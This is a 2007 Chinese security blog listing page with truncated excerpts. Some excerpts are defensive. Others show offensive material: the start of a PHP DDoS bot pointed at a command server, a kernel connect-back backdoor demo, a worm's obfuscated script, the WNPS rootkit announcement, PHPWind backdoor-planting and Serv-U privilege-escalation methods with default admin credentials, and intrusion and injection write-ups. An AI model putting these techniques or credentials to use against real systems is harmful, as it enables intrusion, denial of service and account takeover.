linkboy的博客_信息安全管理,网络安全技术,程序代码(3)

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

好久不碰技术方面的东西，今天在ChinaCISSP上看到一篇讨论银行主机安全的帖子，心里觉得痒痒的，决定发表一点点想法，谁知道话匣子打开了越说越多，竟然鸡零狗碎扯了一通，后来不舍得丢弃，就把他记录在自己的blog里。] 其实作为银行这样的公司，他们对于IT系统的依赖以及这些系统地对外开放性决定了他们需要比一般企业要多花更多的精力来保护他们的IT系统。而从技术层面来讲，IT系统中间最容易出问题又最

系统

银行

网络安全

老三样

断想

转载精选 2007-11-07 10:40:00 726 阅读

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

在BBS上看到有人转贴的一篇评价COSO的文章，一口气看完，觉得文采、分析都非常有特点，是我喜欢的类型 :) 故转贴之~~~~ 文章有点长，帮忙总结一下中心思想:) 文章作者主要想说明 CPA为了最大化自己的利益，制定出的COSO框架存在不少缺陷，一是内部控制的范围不够宽，没有包括本应是内部控制一部分的战略规划、风险管理和纠正行为。二是内部控制的目标从范围和内容上都不够准确，范围上来说缺少对资产

信息安全

框架

脑袋

COSO

屁股

转载精选 2007-11-07 10:39:00 777 阅读

【信息安全】风险分析与控制措施，到底谁先谁后

前写的一篇关于风险分析与控制措施选择的一些小帖，一起堆到这儿最近收到论坛的每周热贴提醒，发现有几篇都是在讨论风险控制方面的贴，有关于笔记本安全的，有关于文档控制，也有关于内网安全的，说到对策呢，有人建议管理，有人建议技术，有人建议管理与技术并重。我今天在这里也对风险控制稍加讨论，希望能够和大家碰撞一下，对我的思路有所启发。 [separator] 个人认为在针对重点保护对象实施的重大保护

职场

风险分析

休闲

措施

转载精选 2007-11-07 10:11:00 454 阅读

彻底杜绝autorun.inf自动运行

通过注册表编辑器与权限控制结合的办法，可以彻底杜绝双击盘符情况下的autorun.inf调用。　　具体的办法如下：　　1.开始——运行——regedit；　　2.定位到　　HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVersion / Explorer /

运行

autorun

自动

inf

杜绝

转载精选 2007-11-05 20:48:00 676 阅读

展望2008年后11大IT技术的发展方向

从现实产品中我们看到的也许只是现在的技术世界和技术明显，然而技术的日新月异又促使我们不得不放眼未来，准确把握未来的技术趋势，将很大程度上影响到明天的IT体验和IT效率。所以在圈点2007技术世界之前，我们首先要将目光投向未来。对2008年开始的其后5年的技术世界进行了梳理，提炼出了以下的11大技术方向，它们将以不同的方式、不同的速度走进我们身边的技术世界。因此您要在它们到来之前，认识它们并思

职场

技术

发展

展望

休闲

原创 2007-11-05 20:44:00 327 阅读

展望2008年后11大IT技术的发展方向

从现实产品中我们看到的也许只是现在的技术世界和技术明显，然而技术的日新月异又促使我们不得不放眼未来，准确把握未来的技术趋势，将很大程度上影响到明天的IT体验和IT效率。所以在圈点2007技术世界之前，我们首先要将目光投向未来。对2008年开始的其后5年的技术世界进行了梳理，提炼出了以下的11大技术方向，它们将以不同的方式、不同的速度走进我们身边的技术世界。因此您要在它们到来之前，认识它们并思

职场

技术

发展

展望

休闲

原创 2007-11-05 20:44:00 540 阅读

Zblog模板优化

对于Zblog我是班门弄斧了，只是说说几点内容供新手参考。　　以下的讨论都是基于 Zblog最近的1.7版本。本文由淡泊明志原创于07年5月，转载请注明作者和来源。　　一、简单地了解Zblog的结构。　　工欲利其事，必先利其器。我们首先要先熟悉一下Zblog的文件不至于改起来晕头转向。　　(1). 关于模板文件的说明， Zblog的模板文件都放在Template目录下面，但

职场

模板

休闲

Zblog

转载精选 2007-11-05 11:04:00 545 阅读

ZblogSEO入门:怎么用Z-BLOG来进行SEO

Zblog对于SEO做的很不错，适合SEO入门的朋友用。不用看SEO入门书籍就能轻松的获得好的排名。因为这个BLOG已经做的很好了。　　以下的讨论都是基于 Zblog 最近的1.7版本。本文由淡泊明志原创于07年5月，转载请注明作者和来源。　　一、简单地了解Zblog的结构。　　工欲利其事，必先利其器。我们首先要先熟悉一下Zblog的文件不至于改起来晕头转向。　　(1).

职场

入门

转载精选 2007-11-05 09:13:00 1465 阅读

动易网站管理系统vote.asp页面存在SQL注入漏洞

动易网站管理系统vote.asp页面存在SQL注入漏洞　　测试系统：　　动易(PowerEasy CMS SP6 071030以下版本）　　安全综述：　　动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品。　　漏洞描述：　　vote.asp调用了动易组件PE_Site.ShowVote，此组件VoteOptio

asp

SQL

漏洞

vote

网站管理系统

原创 2007-11-03 20:29:00 4899 阅读

iis与apache共用80端口问题方法集

为调试程序，本机安装iis与apache，无法同时使用80端口，现给出解决方法　　IIS5，多IP下共存，IIS为192.168.0.1，apache为192.168.0.2原文地址　　c:\Inetpub\Adminscripts 　　cscript adsutil.vbs set w3svc/disablesocketpooling true 　　该命令反馈如下disabl

职场

apache

端口

iis

休闲

原创 2007-11-01 11:53:00 640 阅读

一个不为人知的感染几百万校内网用户的蠕虫分析

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫，开始还以为是我的网页有问题，就随便打开几个人的页面查看，发现许多人的页面上也有这段代码。 Copy code <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")"

蠕虫

用户

休闲

感染

不为人知

转载精选 2007-11-01 11:28:00 600 阅读

对网易的一次入侵检测

已发表于黑客X档案　　BY 剑心[B.C.T] 　　163.com是国内一家比较出名的门户网站，提供包括邮箱等等在内的各种服务，这样繁多的服务，不知道会不会在哪些地方存在漏洞哦！正好最近学习了一些注入知识就想对这些门户网站做点小小的安全检测，不知道他们的脚本像不像他们名声一样那么厉害哦！　　废话就不说了，我们就去找那些传递参数的页面看看会不会不小心有那么一个参数没有过滤，那么我们就

职场

网易

休闲

入侵检测

转载精选 2007-10-31 12:04:00 474 阅读

安全焦点::安全工具-wnps-0.26-beta2.tgz

WNPS是一只工作在Linux 2.6.x平台下的rootkit+backdoor程序。　　它的意思是wnps is not poc shell，我的意图在于将它设计成一个可用于实战的linux rootkit。　　它最初的想法来自enyelkm，我对作者的开源精神深表感激。　　开发平台：　　2.6.9-5.EL 　　+-------------------------

职场

工具

休闲

焦点

转载精选 2007-10-31 10:25:00 756 阅读

百度怎样去优化？

导读：　　以下是我对百度优化的一些心得，希望对大家能起到一点启发及引导作用。由于水平有限，不当之处还请各位大侠指正，先行谢过！　　好了，进入正题。经过几次与百度的正面对话，了解到，百度是严禁使用优化手段提高网站排名。（注意：他们是说禁止优化，并不是禁止作弊！不管他的目的是什么，做好排名依然是我们的工作）以下是我总结的一些被百度认为是优化的手段：　　(1) Title，众所周知，是

职场

百度

休闲

转载精选 2007-10-31 09:11:00 812 阅读 1点赞

赚钱博客-SEO中的蓝海战略

自从Google Adsense推出Firefox推介之后，无数人为之费尽心机，大到各大知名下载站,小到广大草根博客，只要是Adsense发布者，就不会放下这只漂亮的狐狸，而推广手段也是无所不至其极。互联网上这一聪明的群体将其智慧展现得淋漓尽致.当我意识到这件美差时，时机早已过去，其原因有二：一,我没有什么流量比较大的网站；二,与Firefox相关的关键词市场已经红得发紫,杀气密不透风，但我还是

博客

赚钱

SEO

蓝海

战略

转载精选 2007-10-29 11:38:00 588 阅读

关于win2003+iis6服务器设置排错集锦及其他

很多朋友在用IIS6架网站的时候遇到不少问题，以下是在所知的2003iis碰见的一些问题，只要对着症状处理。服务器一定可以使用的。问题1：未启用父路径症状举例： Server.MapPath() 错误 'ASP 0175 : 80004005' 不允许的 Path 字符 /0709/dqyllhsub/news/OpenDatabase.asp，行 4 在 MapPath 的

职场

设置

服务器

休闲

集锦

原创 2007-10-29 09:20:00 1258 阅读

一个简单的内核后门原型

这是一个在内核模块中实现的反连后门，大家看看这于应用层上的实现有什么不同吧，呵呵 /* * Kernel mode connect backdoor,haha~ * * just a demo module to teach you how to write a backdoor in kernel mode, * i belive you can add more code to ma

职场

内核

休闲

后门

原型

转载精选 2007-10-25 17:41:00 540 阅读

利用BCB自己打造QQ×××

注：本文已发表在2007年《黑客防线》第10期，版权归《黑客防线》所有。俗话说的好啊：不会编程的黑客就不是好黑客（我会编程，但我也不是黑客，因为我是个——程序员，哈哈）。今天呢我们就来亲自动手打造一个专属于自己的小工具。我们要做的是一个QQ炸弹，这年头用QQ的人实在多。这林子大了可是什么鸟都有，当然其实我们今天做这个工具的威力并不是很大，顶多只能和好友聊天的时候骚扰

职场

休闲

BCB

炸弹

原创 2007-10-25 17:40:00 1283 阅读

PHP DDoS Bot源码

<?php /* PHP ddos bot Version 1.0 */ $server="1.3.3.7"; $Port="6667"; $nick="bot-";$willekeurig;

PHP

DDoS

休闲

源码

Bot

原创 2007-10-25 17:38:00 1306 阅读

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

maxthon2启动的时候装载mxsafe.dll对一些api进行了hook.在浏览器里运行程序,如果这些程序不在其信任列表里面,就会蹦个框,要求允许/禁止.所以,大部分下载木马在启动的时候就被检测到了. 要知道mxsafe hook了哪些api. od maxthon.exe, bp WriteProcessMemory, F9看改了哪些地址.或者启动maxthon.exe,用rooktit

网页

dll

防护

mxsafe

转载精选 2007-10-20 17:41:00 826 阅读

A new way to inject backdoor in PHPWind

by superhei 2007-10-08 http://www.ph4nt0m.org Text Mode pw的一个放后门的方式 data\bbscache\admin_record.php是记录后台登陆和操作的,我们看看是怎么操作这个文件的: admin\admincp.php: $bbsrecordfile=D_P."data/bbscache/admin_r

new

休闲

PHPWind

backdoor

inject

转载精选 2007-10-20 17:41:00 772 阅读

溢出提权攻击解决办法

在恶意用户频频攻击、系统漏洞层出不穷的今天，作为网络管理员、系统管理员虽然在服务器的安全上都下了不少功夫，诸如及时打上系统安全补丁、进行一些常规的安全配置，但有时仍不安全。因此必须恶意用户入侵之前，通过一些系列安全设置，来将入侵者们挡在“安全门”之外，下面就将最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家分享。一、如何防止溢出类攻击 1

职场

攻击

解决

办法

休闲

转载精选 2007-10-20 11:38:00 698 阅读

Serv-u6.0提权新玩法

郑重申明，此文章乃zero的文章，并非本人所写适用环境：服务器禁用FSO，关掉Wscript.shelll,没有执行权限。限制：没有更改管理员的密码，或者破解出了Serv-U 的管理员的密码。Serv-U默认用户名：localadministrator 密码：#|@$ak#.|k;0@p 下面用 MSWinsock.Winsock建立一个连接，并且以System权限添加超级用户，代码如下：

职场

休闲

玩法

权新

转载精选 2007-10-20 11:38:00 638 阅读

不为人知的动网7.1 SQL版注入漏洞

文章难易度：★★★ 文章阅读点：动网7.1 SQL版最新注入漏洞的详细利用以及如何在后台获取Webshell 话说上期X档案刊登了动网8.0 SQL版最新注入漏洞的文章，不知大家都掌握了没有，令人兴奋的是，没过几在就又暴出了另一个动网7.1 SQL版的最新注入漏洞，这个漏洞可以直接更改任意用户的密码或直接添加论坛管理员，危害相当严重！存在漏洞的文件为dv_dpo.asp，有兴趣的朋友可以自行阅

SQL

漏洞

数据库

休闲

不为人知

转载精选 2007-10-19 21:12:00 919 阅读

去除XP SP2对raw socket的一些限制

http://www.opencjk.org/~scz/windows/200701091750.txt A: scz@nsfocus.com 2007-01-09 17:50 现在已经是众所周知，XP SP2对raw socket做了一些限制，最引人注目的有两条: 1) 不能通过raw socket发送TCP报文。做此尝试时会得到10004号错误。 2) 不能通过raw socket发送

职场

socket

raw

休闲

转载精选 2007-10-17 20:32:00 779 阅读

pw的一个放后门的方式

pw的一个放后门的方式 data\bbscache\admin_record.php是记录后台登陆和操作的,我们看看是怎么操作这个文件的: admin\admincp.php: $bbsrecordfile=D_P."data/bbscache/admin_record.php"; if(!file_exists($bbsrecordfile)){ writeover

职场

休闲

后门

转载精选 2007-10-08 10:56:00 671 阅读

XSS蠕虫病毒可能爆发将威胁互联网安全

新闻来源:HARDSPELL/硬派网安全研究者最近发出警告，由于目前浏览器技术中的缺陷，互联网用户有可能面临一次非常严重的蠕虫病毒爆发。名为GNU Citizen的黑客组织已经发布了一些有关跨站脚本(cross-site scripting，XSS)漏洞的细节，据此可以通过浏览器向用户电脑植入恶意程序。蠕虫将能够扫描那些包含漏洞网页的IP地址，然后在整个网络上迅速流行开来。这些漏洞目前已经

互联网

威胁

XSS

爆发

转载精选 2007-10-07 18:58:00 442 阅读

Linux下mysql 5.x得到root密码后的另外一种利用方式

刚才在卫生间蹲着的时候突然想到这个问题，mysql5.x for linux下面有一个函数，可以帮助我们干很多事情，这个函数4。x下面貌似没，原来一直没发现，也没去查函数手册，就我自己的经验来写点东西。4,x的明天再看看函数手册，再装一个实验一下。 mysql 5.x里面引入了一个system函数，这个函数可以执行系统命令，当mysql以root登陆的时候，就可以利用这个函数执行命令，当然是在权

Linux

密码

mysql

数据库

root

转载精选 2007-09-29 10:20:00 510 阅读

自动屏蔽远程主机穷举密码-2 iptables

遵循GUN版权 #!/bin/bash MONITOR_FILE="/var/log/messages" MONITOR_LOG_FILE="/var/crontab/anti_scan.log" TABLES="/tmp/anti_scan.pid" tmp="/tmp/anti_scan.pid.tmp"

密码

主机

iptables

休闲

自动

转载精选 2007-09-28 10:35:00 540 阅读

一次曲折的安全检测

作者：菜菜此次安全检测过去有段时间了，一直想写成稿子就是没有时间，具体环境可能有所淡忘，但整个过程和思路还是很明了的。由于在校期间课余在学校的网络工作室工作，所以对一些学校网站的服务和发展比较关注。这期间发现某学院的文件交换系统非常的不错，在校园网内使用会带来很多方面的便捷。搜索了下网上没有现成的系统下载，难道非要自己现写不成… 踩点：服务器开放了21和80端口，Serv

职场

检测

休闲

曲折

转载精选 2007-09-25 18:01:00 472 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

【信息安全】风险分析与控制措施，到底谁先谁后

彻底杜绝autorun.inf自动运行

展望2008年后11大IT技术的发展方向

展望2008年后11大IT技术的发展方向

Zblog模板优化

ZblogSEO入门:怎么用Z-BLOG来进行SEO

动易网站管理系统vote.asp页面存在SQL注入漏洞

iis与apache共用80端口问题方法集

一个不为人知的感染几百万校内网用户的蠕虫分析

对网易的一次入侵检测

安全焦点::安全工具-wnps-0.26-beta2.tgz

百度怎样去优化？

赚钱博客-SEO中的蓝海战略

关于win2003+iis6服务器设置排错集锦及其他

一个简单的内核后门原型

利用BCB自己打造QQ×××

PHP DDoS Bot源码

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

A new way to inject backdoor in PHPWind

溢出提权攻击解决办法

Serv-u6.0提权新玩法

不为人知的动网7.1 SQL版注入漏洞

去除XP SP2对raw socket的一些限制

pw的一个放后门的方式

XSS蠕虫病毒可能爆发将威胁互联网安全

Linux下mysql 5.x得到root密码后的另外一种利用方式

自动屏蔽远程主机穷举密码-2 iptables

一次曲折的安全检测

欢迎